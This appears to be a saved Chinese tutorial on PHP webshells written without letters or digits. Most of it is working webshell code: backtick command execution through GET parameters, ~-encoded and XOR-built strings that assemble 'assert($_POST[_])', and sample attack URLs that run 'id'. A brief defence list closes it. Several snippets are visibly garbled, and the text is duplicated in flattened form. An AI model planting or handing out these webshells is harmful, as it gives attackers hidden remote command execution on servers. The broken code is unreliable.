无字母数字webshell进阶收藏版
字数 658 2025-08-20 18:18:05

无字母数字Webshell高级构造技术

基本原理

无字母数字Webshell的核心思想是在不使用常规字母(a-z, A-Z)和数字(0-9)的情况下构造可执行的PHP代码。主要通过以下几种技术实现:

  1. 利用PHP类型转换特性:通过数组和字符串操作获取基础字符
  2. Unicode变量名:使用特殊Unicode字符作为变量名
  3. 位运算构造字符串:通过异或等运算构造关键函数名
  4. 反引号执行:利用反引号执行系统命令

核心构造方法

1. 获取基础字符

// 获取字符串"Array"
$array_str = [].Φ;  // 实际应为 [].'Φ',这里Φ是任意未定义常量,PHP会将其视为字符串'Φ'

// 获取字符'A'(Array的第一个字符)
$A = ([].'Φ')[''];  // 通过空字符串索引获取第一个字符

2. 字符递增生成字母表

$a = ([].'Φ')[[''];  // 'A'
++$Φ; ++$Φ; ++$Φ; ++$Φ;  // 递增到'E'
= ++$Φ;  // 'F'
// 继续递增获取其他需要的字母
?>

高级技术

1. 反引号执行命令

<?=`{$_GET[_]}`;?>

通过GET参数直接执行系统命令:

http://target.com/shell.php?_=id

2. 十六进制编码绕过

<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;?>

等价于:

<?=`{$_GET["\xa0"]}`;?>

使用方式:

http://target.com/shell.php?%a0=id

3. 异或运算构造字符串

<?php
$_ = '$<>/' ^ '{{{{';  // 结果为"GET"
${$_}[_](${$_}[__]);  // 等价于 $_GET[_]($_GET[__])
?>

更复杂的异或构造:

<?php
$_ = ('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');  // "assert"
$__ = '_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');  // "_POST"
$___ = 
$$
__;
$_($___[_]);  // assert($_POST[_])
?>

实际应用示例

1. 执行系统命令

/* system(id) */
<?==([].'Φ')[?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>

2. 调用phpinfo()

<?==([].'Φ')[()?>

防御措施

  1. 禁用危险函数:在php.ini中禁用systemexecpassthrushell_exec等函数
  2. 过滤特殊字符:对用户输入进行严格过滤,特别是反引号、$、{}等特殊字符
  3. 限制变量名:禁止使用Unicode字符作为变量名
  4. 禁用短标签:关闭PHP短标签功能(short_open_tag=Off)
  5. 使用Web应用防火墙(WAF)检测异常请求

总结

无字母数字Webshell技术展示了PHP语言的灵活性和潜在安全风险。通过深入理解PHP的类型转换、变量处理和位运算特性,攻击者可以构造出极其隐蔽的Webshell。防御这类攻击需要多层次的防护措施,包括代码审计、输入过滤和服务器配置加固。

无字母数字Webshell高级构造技术 基本原理 无字母数字Webshell的核心思想是在不使用常规字母(a-z, A-Z)和数字(0-9)的情况下构造可执行的PHP代码。主要通过以下几种技术实现: 利用PHP类型转换特性 :通过数组和字符串操作获取基础字符 Unicode变量名 :使用特殊Unicode字符作为变量名 位运算构造字符串 :通过异或等运算构造关键函数名 反引号执行 :利用反引号执行系统命令 核心构造方法 1. 获取基础字符 2. 字符递增生成字母表 高级技术 1. 反引号执行命令 通过GET参数直接执行系统命令: 2. 十六进制编码绕过 等价于: 使用方式: 3. 异或运算构造字符串 更复杂的异或构造: 实际应用示例 1. 执行系统命令 2. 调用phpinfo() 防御措施 禁用危险函数:在php.ini中禁用 system 、 exec 、 passthru 、 shell_exec 等函数 过滤特殊字符:对用户输入进行严格过滤,特别是反引号、$、{}等特殊字符 限制变量名:禁止使用Unicode字符作为变量名 禁用短标签:关闭PHP短标签功能(short_ open_ tag=Off) 使用Web应用防火墙(WAF)检测异常请求 总结 无字母数字Webshell技术展示了PHP语言的灵活性和潜在安全风险。通过深入理解PHP的类型转换、变量处理和位运算特性,攻击者可以构造出极其隐蔽的Webshell。防御这类攻击需要多层次的防护措施,包括代码审计、输入过滤和服务器配置加固。